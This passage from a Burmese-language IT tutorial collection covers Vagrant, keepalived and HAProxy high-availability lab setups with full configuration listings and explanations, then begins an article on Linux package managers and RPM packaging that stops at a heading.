BOX_IMAGE = "bento/ubuntu-20.04"
NODE_COUNT = 2

Vagrant.configure("2") do |config|
  (1..NODE_COUNT).each do |x|    
    config.vm.define "web#{x}" do |subconfig|
      subconfig.vm.box = BOX_IMAGE
      subconfig.vm.hostname = "web#{x}"
      subconfig.vm.network :private_network, ip: "192.168.56.#{x + 10}"     
      # subconfig.vm.provision :shell, path: "web_bootstrap.sh"
      subconfig.vm.provision "shell", inline: <<-Web
        sudo -i   
        apt update && apt install -y apache2 keepalived
        echo web#{x} > /var/www/html/index.html
        systemctl enable apache2 keepalived
        systemctl start apache2 keepalived
      Web
      if (subconfig.vm.hostname=="web1") then
        subconfig.vm.provision "file", source: "./keepalived_master.conf", destination: "~/keepalived.conf"
        subconfig.vm.provision "shell", inline: <<-W1     
          sudo cp /home/vagrant/keepalived.conf /etc/keepalived/keepalived.conf
        W1
      else
        subconfig.vm.provision "file", source: "./keepalived_backup.conf", destination: "~/keepalived.conf"
        subconfig.vm.provision "shell", inline: <<-W2
          sudo cp /home/vagrant/keepalived.conf /etc/keepalived/keepalived.conf
        W2
      end
      subconfig.vm.provision "shell", inline: <<-W3
        sudo systemctl restart apache2 keepalived
      W3
    end
  end

  # copy ssh public key to the VM and update then reboot
  config.vm.provision "file", source: "./me.pub", destination: "~/.ssh/me.pub"  
  config.vm.provision "shell", inline: <<-SHELL     
    cat /home/vagrant/.ssh/me.pub >> /home/vagrant/.ssh/authorized_keys
 SHELL
end
```

Vagrant ကို run ဖို့အတွက် လိုအပ်တဲ့ file တွေအားလုံးကို GitHub ပေါ်မှာတင်ပေးထားပါတယ်။

<https://github.com/tylalin/ITmatic101/tree/master/infra_as_code/vagrant_files/keepalived_2nodes>

ပထမတစ်ခေါက် vagrant up ကို run တဲ့အခါမှာတော့ bento ကနေပြီး Ubuntu 20.04 LTS image ကို download ဆွဲတဲ့အတွက် အနည်းငယ် ကြာပါလိမ့်မယ်။ Download ဆွဲပြီးသွားရင်တော့ နောက်အခေါက်တွေ run တဲ့အခါ ပထမတခေါက်လောက်မကြာတော့ပါဘူး။ Vagrant ကို setup လုပ်ပုံနဲ့ အသုံးပြုပုံကို အောက်က Link မှာသွားရောက်ဖတ်ရှုလို့ ရပါတယ်။

{% embed url="<https://my.itmatic101.com/automation/rough-edges-iac-part2>" %}

ဒီအပိုင်းမှာတော့ ဒီလောက်နဲ့ပဲရပ်လိုက်ပါ့မယ်။ ဒုတိယပိုင်းမှာ keepalived ကိုနောက်ပုံစံတမျိုးနဲ့ အသုံးပြုပြပြီး setup လုပ်တဲ့အခါမှာ Ubuntu 20.04 LTS VM လေးခု လိုအပ်ပါလိမ့်မယ်။


# Keepalived မိတ်ဆက် – အပိုင်း (၂)

ပထမပိုင်းမှာ keepalived ကိုအသုံးပြုပြီးတော့ VRRP ကိုဘယ်လို setup လုပ်လို့ရသလဲဆိုတာကို Apache web server နှစ်လုံးနဲ့ lab လုပ်ပြခဲ့ပြီးပါပြီ။ တကယ်ဆိုရင် အဲ့ဒီအပိုင်းမှာ setup လုပ်တဲ့ပုံစံက လွယ်အောင်၊ ပြီးတော့ ကိုယ့် PC က CPU နဲ့ RAM မလောက်ခဲ့ရင်တောင် အနည်းဆုံး Virtualbox မှာ VM နှစ်လုံးနဲ့ စမ်းသပ်နိုင်အောင် အရင်ဆုံး ရှင်းပြလိုက်တာဖြစ်ပါတယ်။ လုံးဝ fully high availability (HA) ပုံစံမျိုးတော့ အလုပ်လုပ်မှာမဟုတ်ပါဘူး။ Web server နှစ်လုံးထဲက တစ်လုံး down သွားရင်နောက် တစ်လုံးကဝင်ပြီးတော့ failover လုပ်ရုံသာရှိပါတယ်။ ဆိုပါတော့… ပထမ web server က down တော့မသွားဘူး သို့သော် overload ဖြစ်နေတယ်ဆိုရင် end user experience အတွက်လုံးဝကို အလုပ်မဖြစ်ပါဘူး။ Fully HA ဖြစ်ဖို့ဆိုရင် load balancer လိုပါလိမ့်မယ်။ ဒီအတွက်စာရေးသူတို့ haproxy ကို web server ရဲ့အရှေ့မှာ reverse proxy အနေနဲ့ အသုံးပြုပါ့မယ်။ ပြီးတော့ keepalived ကို web server ပေါ်မှာ မတင်ပဲနဲ့ haproxy နှစ်လုံးနဲ့ keepalived ကိုတွဲပြီးတော့ setup လုပ်မှာဖြစ်ပါတယ်။ ဒီ့အတွက် web server အတွက် Ubuntu 20.04 LTS VM နှစ်လုံး၊ haproxy နဲ့ keepalived တွဲပြီးတော့ အသုံးပြုဖို့အတွက် VM နှစ်လုံးလိုပါလိမ့်မယ်။ အောက်မှာပြထားတဲ့ ပုံအတိုင်း ha1 နဲ့ ha2 က Haproxy နှစ်လုံးဖြစ်ပြီး၊ web1 နဲ့ web2 ကတော့ Apache web server နှစ်လုံးဖြစ်ပါတယ်။ သတိပြုရမှာက ဒီ setup မှာ keepalived ကို ha1 နဲ့ ha2 ပေါ်မှာ setup လုပ်မှာဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-06349cf6448d9d90e7357eeca96e1f4c38e69aea%2Fkeepalived_4nodes_1-1.png?alt=media" alt=""><figcaption></figcaption></figure>

Apache web server နှစ်လုံးကို အရှေ့တပိုင်းမှာလို install လုပ်ပြီးတော့၊ configure လုပ်ထားလိုက်ပါ။ သို့သော်… keepalived ကိုတော့ ဒီတခေါက် web server ပေါ်မှာတိုက်ရိုက် install မလုပ်ပါဘူး။ Haproxy အတွက် Ubuntu 20.04 LTS VM နှစ်လုံး အဆင်သင့်ဖြစ်ပြီ ဆိုရင်အောက်ကအတိုင်း Haproxy နဲ့ Keepalived ကို install လုပ်၊ configure စတင်လုပ်ပါတော့မယ်။ ပထမဆုံး ha1 မှာ install နဲ့ configure လုပ်ပုံကို အရင်ဆုံးသွားလိုက် ရအောင်။

```
$ sudo apt update && sudo apt install -y haproxy keepalived
$ sudo systemctl enable haproxy keepalived
$ sudo systemctl start haproxy keepalived
$ sudo vim /etc/haproxy/haproxy.cfg

global
	log /dev/log	local0
	log /dev/log	local1 notice
	chroot /var/lib/haproxy
	stats socket /run/haproxy/admin.sock mode 660 level admin expose-fd listeners
	stats timeout 30s
	user haproxy
	group haproxy
	daemon

	# Default SSL material locations
	ca-base /etc/ssl/certs
	crt-base /etc/ssl/private

	# See: https://ssl-config.mozilla.org/#server=haproxy&server-version=2.0.3&config=intermediate
        ssl-default-bind-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
        ssl-default-bind-ciphersuites TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256
        ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets

defaults
	log	global
	mode	http
	option	httplog
	option	dontlognull
        timeout connect 5000
        timeout client  50000
        timeout server  50000
	errorfile 400 /etc/haproxy/errors/400.http
	errorfile 403 /etc/haproxy/errors/403.http
	errorfile 408 /etc/haproxy/errors/408.http
	errorfile 500 /etc/haproxy/errors/500.http
	errorfile 502 /etc/haproxy/errors/502.http
	errorfile 503 /etc/haproxy/errors/503.http
	errorfile 504 /etc/haproxy/errors/504.http

frontend myweb
	bind *:80
	option tcplog
	mode tcp
	default_backend web-servers
    
backend web-servers
    mode tcp
    balance roundrobin
    option tcp-check
    server web1 192.168.56.11:80 check fall 3 rise 2
    server web2 192.168.56.12:80 check fall 3 rise 2

$ vim /etc/keepalived/keepalived.conf

# define the script used to check if haproxy is still working
vrrp_script chk_haproxy {
    script “killall -0 haproxy”
    interval 2
    weight 2
}

# configuation for the virtual interface
vrrp_instance vi_1 {
    interface eth1
    state master
    priority 101
    advert_int 2
    virtual_router_id 101
    unicast_src_ip 192.168.56.21
    unicast_peer {
        192.168.56.22
    }

    authentication {
        auth_type PASS
        auth_pass mylittlesecret 
    }

    # the virtual ip address shared between the two loadbalancers
    virtual_ipaddress {
		192.168.56.69
    }

    # use the script above to check if we should fail over
    track_script {
        chk_haproxy
    }
}

$ sudo  systemctl restart haproxy keepalived
```

ပြီးသွားရင် ha2 ပေါ်မှာလည်း အောက်ကအတိုင်းဆက်ပြီး install လုပ်၊ configure လုပ်ဖို့လိုပါလိမ့်မယ်။

```
$ sudo apt update && sudo apt install -y haproxy keepalived
$ sudo systemctl enable haproxy keepalived
$ sudo systemctl start haproxy keepalived
$ vim /etc/haproxy/haproxy.cfg

global
	log /dev/log	local0
	log /dev/log	local1 notice
	chroot /var/lib/haproxy
	stats socket /run/haproxy/admin.sock mode 660 level admin expose-fd listeners
	stats timeout 30s
	user haproxy
	group haproxy
	daemon

	# Default SSL material locations
	ca-base /etc/ssl/certs
	crt-base /etc/ssl/private

	# See: https://ssl-config.mozilla.org/#server=haproxy&server-version=2.0.3&config=intermediate
        ssl-default-bind-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
        ssl-default-bind-ciphersuites TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256
        ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets

defaults
	log	global
	mode	http
	option	httplog
	option	dontlognull
        timeout connect 5000
        timeout client  50000
        timeout server  50000
	errorfile 400 /etc/haproxy/errors/400.http
	errorfile 403 /etc/haproxy/errors/403.http
	errorfile 408 /etc/haproxy/errors/408.http
	errorfile 500 /etc/haproxy/errors/500.http
	errorfile 502 /etc/haproxy/errors/502.http
	errorfile 503 /etc/haproxy/errors/503.http
	errorfile 504 /etc/haproxy/errors/504.http

frontend myweb
	bind *:80
	option tcplog
	mode tcp
	default_backend web-servers
    
backend web-servers
    mode tcp
    balance roundrobin
    option tcp-check
    server web1 192.168.56.11:80 check fall 3 rise 2
    server web2 192.168.56.12:80 check fall 3 rise 2

$ vim /etc/keepalived/keepalived.conf

# define the script used to check if haproxy is still working
vrrp_script chk_haproxy {
    script “killall -0 haproxy”
    interval 2
    weight 2
}

# configuation for the virtual interface
vrrp_instance vi_1 {
    interface eth1
    state backup
    priority 100
    advert_int 2
    virtual_router_id 101
    unicast_src_ip 192.168.56.22
    unicast_peer {
        192.168.56.21
    }

    authentication {
        auth_type PASS
        auth_pass mylittlesecret 
    }

    # the virtual ip address shared between the two loadbalancers
    virtual_ipaddress {
		192.168.56.69
    }

    # use the script above to check if we should fail over
    track_script {
        chk_haproxy
    }
}

$ sudo  systemctl restart haproxy keepalived
```

သတိပြုကြည့်လိုက်ရင် haproxy မှာသုံးတဲ့ configuration file ဖြစ်တဲ့ /etc/haproxy/haproxy.cfg ဟာ ha1 နဲ့ ha2 မှာအတူတူပါပဲ။ Configuration ရဲ့ ပထမပိုင်းကတော့ haproxy ကို install လုပ်လိုက်တာနဲ့ ပါလာတဲ့ default တွေပါ။ စာရေးသူတို့ ထပ်ဖြည့်ပြီးတော့ ပေါင်းထည့်ရမယ့် configuration ကတော့ အောက်ကအတိုင်းဖြစ်ပါတယ်။

```
frontend myweb # haproxy ရဲ့ frontend အတွက်လိုအပ်တဲ့ parameters တွေပါ။ 
	bind *:80 # binding portကို frontend မှာ 80 ကိုသုံးထားပါတယ်။
	option tcplog
	mode tcp # http ဖြစ်တဲ့အတွက် tcp ကိုအသုံးပြုရပါ့မယ်။ 
	default_backend web-servers # backend section ကိုဒီမှာသတ်မှတ်ပေးရပါတယ်။ 
    
backend web-servers # haproxy ရဲ့ backend အတွက်လိုအပ်တဲ့ parametersတွေဖြစ်ပါတယ်။ 
    mode tcp
    balance roundrobin # load balancing မှာ roundrobin ကိုအသုံးပြုထားပါတယ်။ 
    option tcp-check
    server web1 192.168.56.11:80 check fall 3 rise 2
    server web2 192.168.56.12:80 check fall 3 rise 2
```

ဒီနေရာမှာ haproxy နဲ့ပတ်သတ်ပြီးတော့ အနည်းငယ် ဖြည့်စွတ်ရှင်းလင်းလိုပါတယ်။ frontend အပိုင်းမှာ ထပ်ပြီးတော့ ရှင်းပြစရာ လိုမယ်မထင်ပါ။ backend အပိုင်းမှာတော့ နှစ်ခုလောက်အပိုရှင်းပြရမယ်ထင်ပါတယ်။ Balance နေရာမှာ roundrobin ဆိုတဲ့ algorithm ကိုအသုံးပြုထားပါတယ်။ Roundrobin ဖြစ်တဲ့အတွက် haproxy ဟာ backend web server နှစ်လုံးမှာ web1 တလှည့်၊ web2 တလှည့် အလှည့်ကျ load ကိုမျှဝေထားတာဖြစ်ပါတယ်။ web1 မှာ load မနိုင်မနင်း ဖြစ်နေတာ၊ web2 မှာ idle ဖြစ်နေတာတွေ အားလုံးကို လုံးဝထည့်သွင်း စဉ်းစားခြင်းမရှိပါဘူး။ အလှည့်ကျပဲတောက်လျှောက် request ကို web1 တခါ၊ web2 တခါ သွားနေမှာဖြစ်ပါတယ်။ နောက်တခုက server web1 192.168.56.11:80 check fall 3 rise 2 နဲ့ server web2 192.168.56.12:80 check fall 3 rise 2 ဆိုတဲ့နှစ်ကြောင်းပါ။ Backend မှာ ပါဝင်မည့် web server နှစ်လုံးအတွက် health check mechanism ပါ။ Check ဆိုတာက အဆက်မပြတ် ၂စက္ကန့် ကိုတခါ health check လုပ်မယ်၊ fall 3 ဆိုတာကတော့ ၃ ခါ health check လုပ်ပြီးတော့ မအောင်မြင်ဘူးဆိုရင် အဲ့ဒီ node ကို dead လို့သတ်မှတ်လိုက်ပြီး load balancing cluster ထဲကနေဖယ်ထုတ်လိုက်ပါတယ်။ rise 2 ဆိုတာကတော့ health check အနည်းဆုံး နှစ်ခါအောင်မြင်မှ အဲ့ဒီ node ကို alive လို့ သတ်မှတ်ပြီး load balancing cluster ထဲမှာပြန်လည် ပေါင်းထည့်ပေးပါတယ်။ အဲ့ဒီလိုနည်းနဲ့ delay ကိုနည်းနိုင်သလောက်နည်းအောင်လုပ်ပါတယ်။ ဒီလောက်ဆိုရင် haproxy ပတ်သတ်တဲ့ အပိုင်းကရှင်းသွားပါပြီ။

Keepalived မှာတော့ configuration နည်းနည်းတော့ကွာခြားသွားပါတယ်။ အောက်မှာကွာခြားသွားတဲအပိုင်းလေး တွေကို ရှင်းလင်းပါ့မယ်။

```
# define the script used to check if haproxy is still working
vrrp_script chk_haproxy { # keepalived node တွေအတွက် health check script ပါ။
    script “killall -0 haproxy” # haproxy ကို dependency အနေနဲ့ထားတာပါ။
    interval 2 # ၂စက္ကန့် တခါ စစ်ခိုင်းတာပါ။
    weight 2 # ဒီ weightဆိုတာကတော့ priority မှာပေါင်းထည့်ပေးတဲ့ valueပါ။
}

# configuation for the virtual interface
vrrp_instance vi_1 {
    interface eth1
    state master
    priority 101
    advert_int 2
    virtual_router_id 101
    unicast_src_ip 192.168.56.21
    unicast_peer {
        192.168.56.22
    }

    authentication {
        auth_type PASS
        auth_pass mylittlesecret 
    }

    # the virtual ip address shared between the two loadbalancers
    virtual_ipaddress {
		192.168.56.69
    }

    # use the script above to check if we should fail over
    track_script { # keepalived အတွက်ဘယ်လိုမျိုး track လုပ်မလဲလို့ သတ်မှတ်ပေးတာပါ။
        chk_haproxy
    }
}
```

အနည်းငယ်ဖြည့်ပြီးတော့ ရှင်းချင်တာကတော့ script “killall -0 haproxy” ဆိုတဲ့အပိုင်းပါ။ Haproxy daemon ကို သတ်တဲ့ command မဟုတ်ပါဘူး။ killall -0 ဆိုတဲ့အတွက် return value ကို စစ်တဲ့သဘောပါ။ အခြားသော daemon တွေရဲ့ status ကိုစစ်ချင်ရင်လည်း သုံးတဲ့ command ပါ။ ဒီတော့ အဲ့ဒီ script ကနေ return value က zero ဖြစ်နေသရွေ့ healthy ဖြစ်နေတယ်လို့ သတ်မှတ်လို့ ရပါတယ်။ ဒါမှမဟုတ်ဘူး non-zero value ကိုပြန်ရရင်တော့ keepalived ကို failover လုပ်ခိုင်းထားပဲဖြစ်ပါတယ်။ ha1 နဲ့ ha2 မှာ node က down သွားလား ဆိုတာထက် haproxy ရဲ့ health status ကပိုပြီးတော့ အရေးကြီးပါတယ်။ ဒီ့အတွက် haproxy မှာတစ်ခုခုမှားတာနဲ့ keepalived ရဲ့ vrrp ကိုအလုပ် လုပ်ခိုင်းထားတာပါ။ ဒါမှလည်း fully HA ဖြစ်မှာပါ။ ဒီထက်ပိုပြီးတော့ ရှုပ်ထွေးတဲ့ haproxy နဲ့ keepalived တို့ကို setup လုပ်လို့ရနိုင်ပါသေးတယ်။ ကိုယ့် environment မှာဘာလိုချင်တာလဲပေါ်မှာပဲမူတည်ပါတယ်။

ဒီတခါ keepalived ကို 4 nodes နဲ့ manually setup မလုပ်ချင်ဘူးဆိုရင်တော့ အောက်က vagrantfile နဲ့ automate လုပ်လို့ရပါတယ်။

```
# -*- mode: ruby -*- 
# vi: set ft=ruby :

BOX_IMAGE = "bento/ubuntu-20.04"
NODE_COUNT = 2

Vagrant.configure("2") do |config|
  (1..NODE_COUNT).each do |x|    
    config.vm.define "web#{x}" do |subconfig|
      subconfig.vm.box = BOX_IMAGE
      subconfig.vm.hostname = "web#{x}"
      subconfig.vm.network :private_network, ip: "192.168.56.#{x + 10}"     
      subconfig.vm.provision "shell", inline: <<-Web
        sudo -i   
        apt update && sudo apt install -y apache2
        echo web#{x} > /var/www/html/index.html
        systemctl enable apache2
        systemctl start apache2
      Web
    end
  end

  (1..NODE_COUNT).each do |y|     
    config.vm.define "ha#{y}" do |subconfig|       
      subconfig.vm.box = BOX_IMAGE       
      subconfig.vm.hostname = "ha#{y}"       
      subconfig.vm.network :private_network, ip: "192.168.56.#{y + 20}"     
      subconfig.vm.provision "shell", inline: <<-Ha
        sudo -i   
        apt update && sudo apt install -y haproxy keepalived
        systemctl enable haproxy keepalived
        systemctl start haproxy keepalived
      Ha
      if (subconfig.vm.hostname=="ha1") then
        subconfig.vm.provision "file", source: "./keepalived_master.conf", destination: "~/keepalived.conf"
        subconfig.vm.provision "shell", inline: <<-S1     
          sudo cp /home/vagrant/keepalived.conf /etc/keepalived/keepalived.conf
        S1
      else
        subconfig.vm.provision "file", source: "./keepalived_backup.conf", destination: "~/keepalived.conf"
        subconfig.vm.provision "shell", inline: <<-S2
          sudo cp /home/vagrant/keepalived.conf /etc/keepalived/keepalived.conf
        S2
      end
      subconfig.vm.provision "file", source: "./haproxy.cfg", destination: "~/haproxy.cfg"
      subconfig.vm.provision "shell", inline: <<-S3
        sudo rm -f /etc/haproxy/haproxy.cfg
        sudo cp /home/vagrant/haproxy.cfg /etc/haproxy/haproxy.cfg
        systemctl restart haproxy keepalived
      S3
    end
  end 
  # copy ssh public key to the VM and update then reboot
  config.vm.provision "file", source: "./me.pub", destination: "~/.ssh/me.pub"  
  config.vm.provision "shell", inline: <<-SHELL     
    cat /home/vagrant/.ssh/me.pub >> /home/vagrant/.ssh/authorized_keys
 SHELL
end
```

Vagrant နဲ့ run ဖို့အတွက် လိုအပ် file တွေကိုလည်း အောက်က GitHub repo မှာတင်ပေးထားပါတယ်။

<https://github.com/tylalin/ITmatic101/tree/master/infra_as_code/vagrant_files/keepalived_4nodes>

Vagrant ကို setup လုပ်ပုံနဲ့ run ပုံကို အသေးစိတ်ဖတ်ချင်ရင်တော့ အောက်က Link မှာဖတ်ပါ။

{% embed url="<https://my.itmatic101.com/automation/rough-edges-iac-part2>" %}

ဒီလောက်ဆိုရင် keepalived အတွက်အခြေခံကိုရပြီလို့ထင်ပါတယ်။ နောက်ပိုင်း keepalived နဲ့ ပတ်သတ်တဲ့ project အသစ်တွေရှိရင် စာရေးသူ ထပ်ပြီးတော့ မျှဝေချင်ပါသေးတယ်။ ဒီ post ကိုတော့ အခုလောက်နဲ့ပဲ အဆုံးသတ်လိုက်ပါတော့မယ်။


# Linux မှာ package manager တွေကိုဘယ်လိုအသုံးပြုသလဲ

Linux distribution ပေါ်မှာမူတည်ပြီး အသုံးပြုတဲ့ package manager တွေဟာအနည်းနဲ့အများ ကွာခြားချက်တွေရှိပါတယ်။ Debian ပေါ်မှာအခြေပြုထားတဲ့ distribution တွေမှာ .deb file တွေနဲ့တွဲပြီးအသုံးပြု သော APT ဆိုတဲ့ Advanced Package Tool ကိုသုံးထားသလို Red Hat ကနေဆင်းသက်လာတဲ့ distribution မှာဆိုရင် .rpm file တွေအတွက် YUM(Yellowdog Updater Modified)/DNF(Dandified YUM) ကိုသုံးကြပြန်ပါတယ်။ ဒါ့အပြင် အခြားသော mainstream Linux distribution ထဲကနေခွဲထွက်သွားတဲ့ Arch လိုမျိုးမှာလည်း pacman ကိုအသုံးပြုကြပြန်ပါတယ်။ ဒီ့နောက်ပိုင်းမှာ ပိုပြီိးတွင်တွင်ကျယ်ကျယ် အသုံးပြုလာတဲ့ neo package manager တွေဖြစ်တဲ့ Flatpak တို့ Snap တို့လို အမျိိုးအစားတွေလည်း ရှိပြန်ပါတယ်။ ထုံးစံအတိုင်း Linux မှာက ရွေးစရာတွေအများကြီးနဲ့ ပြည့်နေတတ်ပါတယ်။ ဒါဟာလည်း opensource ကမ္ဘာက healthy competition တွေမို့ အကျိုးထူး အကျိုးမြတ်တွေရတာ end user တွေပါ။

ရွေးချယ်စရာတွေအများကြီးရှိပေမယ့်လည်း လက်တွေ့မှာ de facto standard အနေနဲ့အသုံးများနေတုန်းဖြစ်တဲ့ YUM/DNF နဲ့ APT ကိုဘယ်လိုမျိုး အသုံးပြုပြီး package manager အနေနဲ့ အသုံးချနိုင်သလဲဆိုတာ ဒီ article မှာဆွေးနွေးတင်ပြချင်ပါတယ်။

## Package manager ဆိုသည်မှာ

Package manager ဆိုတဲ့ concept က Linux မှာအရင်ကတည်း ရှိနေပြီးသား tool တခုပါ။ Windows မှာတော့ အခုနောက်ပိုင်းမှာမှ Chocolatey တို့၊ Winget တို့တဖြည်းဖြည်းပေါ်လာကြပါတယ်။ ပုံမှန်အားဖြင့်ဆိုရင် Windows မှာကိုယ်လိုချင်တဲ့ software/application တခုကို အင်တာနက်ပေါ်ကနေ download ဆွဲမယ်၊ ပြီးရင် next click ... next click agree ဆိုပြီး install လုပ်ကြပါတယ်။ အဲ့လိုနဲ့ malware တွေ၊ bloatware တွေကို install လုပ်မှန်းမသိလုပ်ကြပါတော့တယ်။ Linux မှာဆိုရင် package manager တွေအသုံးပြုတဲ့အတွက် official repository ကနေလိုအပ်တဲ့ software တွေကို စိတ်ချက်လက်ချ install လုပ်လို့ရနိုင်ပါတယ်။ Unofficial repository တွေကို setup လုပ်ပြီး malware တွေရနိုင်ချေရှိသော်လည်း Linux user တယောက်အနေနဲ့ ကိုယ်ဘာဖြစ်လို့ အဲ့ unofficial repository လုပ်ထားသလဲဆိုတာ သိကြပါတယ်။ မသိရင်တော့လည်း Windows နည်းတူ၊ Linux မှာလည်း malware တို့ ransomware တို့ ကူးစက်နိုင်ချေရှိပါတယ်။ ဒါ့အပြင်... လိုအပ်တဲ့ repository တွေကို setup မလုပ်ပဲနဲ့ .deb နဲ့ .rpm file ကိုလည်း တိုက်ရိုက် install လုပ်နိုင်ပါတယ်။ ပုံမှန်အားဖြင့်ကတော့ လုပ်ရိုးလုပ်စဉ်မဟုတ်ပါ။ သို့သော်... အချို့သော software/application တွေကို အဲ့နည်းအတိုင်းနဲ့ပဲ install လုပ်ကြပါတယ်။

Windows မှာ .exe file တွေကို install လုပ်တဲ့အခါ အဲ့ဒီ installer ထဲမှာလိုအပ်တဲ့ utility တွေ၊ tool တွေတခါတည်းပါလာပြီးသားပါ။ သို့သော်... Linux မှာက package manager တွေရဲ့တာဝန်က လိုအပ်တဲ့ dependencies ကို manage လုပ်ပေးပါတယ်။ ကိုယ် packaging လုပ်တဲ့အခါမှာ ဘာတွေလိုအပ်သလဲဆိုတာ ပြောပေးလိုက်ရုံပဲဖြစ်ပါတယ်။ လိုအပ်တဲ့ အရာတွေအားလုံးကို သူဟာသူ အရင်ဆုံး install လုပ်ပြီးတော့မှ လိုရင်းဖြစ်တဲ့ software/application ကို install ဆက်လုပ်ပါတယ်။ ဒါ့အပြင် repository configuration မှာဘယ်် repository ကို subscribe လုပ်ချင်သလဲပေါ်မူတည်ပြီး လိုအပ်တဲ့ အခြား package တွေ dependency တွေကို download ဆွဲယူပါတယ်။ Centralised repository ဖြစ်တဲ့အတွက် အင်တာနက်ပေါ်ကတွေ့ကရာ .exe file ထက်တော့ အနည်းငယ်ပိုပြီးစိတ်ချနိုင်ပါတယ်။ Security အတွက် gpg ကိုအသုံးပြုပြီး အဲ့ဒီ repository ကို validate လုပ်နိုင်ပါသေးတယ်။ Package တွေဟာ အကုန်လုံး central location တခုတည်းမှာရှိတဲ့အတွက် ကိုယ်ရှာချင်တဲ့ application တွေကိုလည်း package manager တွေအသုံးပြုပြီး ရှာဖွေနိုင်ပြန်ပါတယ်။ နောက်တခုက ကိုယ့် system မှာဘယ် package ကို install လုပ်ထားသလဲဆိုတဲ့ ကိစ္စကိုလည်း package manager ကပဲတာဝန်ယူပြီး system consistency ဖြစ်ဖို့အတွက် ထိန်းသိမ်းပေးပြန်ပါတယ်။ ဒီတော့... package manager ရဲ့လုပ်ဆောင်နိုင်စွမ်းဟာ Linux system တခုအတွက် တော်တော်လေးအရေးပါပါတယ်။ အောက်မှာ Fedora ရဲ့ out-of-the-box YUM repo configuration ကို ဥပမာတခုအနေနဲ့ပြထားပါတယ်။

```bash
tyla@fedora:~$ cat /etc/yum.repos.d/fedora.repo 
[fedora]
name=Fedora $releasever - $basearch
#baseurl=http://download.example/pub/fedora/linux/releases/$releasever/Everything/$basearch/os/
metalink=https://mirrors.fedoraproject.org/metalink?repo=fedora-$releasever&arch=$basearch
enabled=1
countme=1
metadata_expire=7d
repo_gpgcheck=0
type=rpm
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-fedora-$releasever-$basearch
skip_if_unavailable=False

[fedora-debuginfo]
name=Fedora $releasever - $basearch - Debug
#baseurl=http://download.example/pub/fedora/linux/releases/$releasever/Everything/$basearch/debug/tree/
metalink=https://mirrors.fedoraproject.org/metalink?repo=fedora-debug-$releasever&arch=$basearch
enabled=0
metadata_expire=7d
repo_gpgcheck=0
type=rpm
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-fedora-$releasever-$basearch
skip_if_unavailable=False

[fedora-source]
name=Fedora $releasever - Source
#baseurl=http://download.example/pub/fedora/linux/releases/$releasever/Everything/source/tree/
metalink=https://mirrors.fedoraproject.org/metalink?repo=fedora-source-$releasever&arch=$basearch
enabled=0
metadata_expire=7d
repo_gpgcheck=0
type=rpm
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-fedora-$releasever-$basearch
skip_if_unavailable=False
```

### RPM package နဲ့ repository ဖြစ်ဖို့ပြင်ဆင်ပုံ

#### ကြိုတင်ပြင်ဆင်မူ

* Fedora Packager - စာရေးသူက Fedora ကိုအသုံးပြုပြီး rpm package တခုကိုထုပ်ပိုးပြင်ဆင်ပြမှာဖြစ်တဲ့အတွက် Fedora မှာအသုံးပြုနိုင်တဲ့ package တွေကိုအရင်ဆုံး install လုပ်ဖို့လိုပါလိမ့်မယ်။ Fedora မှာတော့ `sudo dnf install fedora-packager -y` သို့မဟုတ် `sudo yum install fedora-packager -y` ဆိုပြီး install လုပ်ပေးလိုက်ရုံပါပဲ။ အဲ့ဒီ package ထဲမှာလိုအပ်တဲ့ components တွေအကုန်ပါတာမို့ RPM package တခုကိုပြင်ဆင်ဖို့အဆင်သင့်ဖြစ်ပါပြီ။
* Ansible - Ansible မှာ role ဆိုတဲ့ concept တခုရှိပါတယ်။ Ansible automation မှာ role တွေဟာ ထပ်ခါထပ်ခါပြန်ပြီး အသုံးပြုနိုင်ဖို့အတွက် အရေးပါတဲ့အရာတခုပါ။ အောက်တွင်ဖော်ပြသွားမယ့် demo မှာအဲ့ဒီ role တွေကို create လုပ်ပြီး RPM package တခုအနေနဲ့ distribute လုပ်နိုင်အောင်ဘယ်လိုပြင်ဆင်နိုင်သလဲဆိုတာ ဖော်ပြမှာဖြစ်တဲ့အတွက် ဒီနေရာမှာ Ansible ကိုအရင် install လုပ်ခိုင်းထားခြင်းဖြစ်ပါတယ်။ မှတ်ချက် - Ansible မှာ reusable role တွေကို အလွယ်တကူ ဖြန့်ဝေနိုင်တဲ့ Ansible Galaxy ရှိပါတယ်။ သို့သော်လည်း အချို့သောလုပ်ငန်းစဉ်တွေမှာ Ansible Galaxy ကိုအဆင်မပြေနိုင်တဲ့အခါ၊ Red Hat ရဲ့ Ansible Automation Hub အတွက် subscription မရှိတဲ့အခါတွေမှာ အခုလိုမျိုး RPM ကိုအသုံးပြုပြီး Ansible role တွေကိုအလွယ်တကူ distribute လုပ်နိုင်ပါတယ်။ Ansible Automation Platform မှာ Automation Hub အပြင်အခြားသော component တွေပါဝင်ပါတယ်။ ဒီနေရာမှာတော့ Ansible role နဲ့ပတ်သတ်ပြီး စိတ်ကူးမိသမျှ လုပ်ငန်းစဉ်တွေကိုရှင်းပြနေတာပါ။

#### RPM package ထုပ်ပိုးပုံ လုပ်ငန်းစဉ်အဆင့်ဆင့်

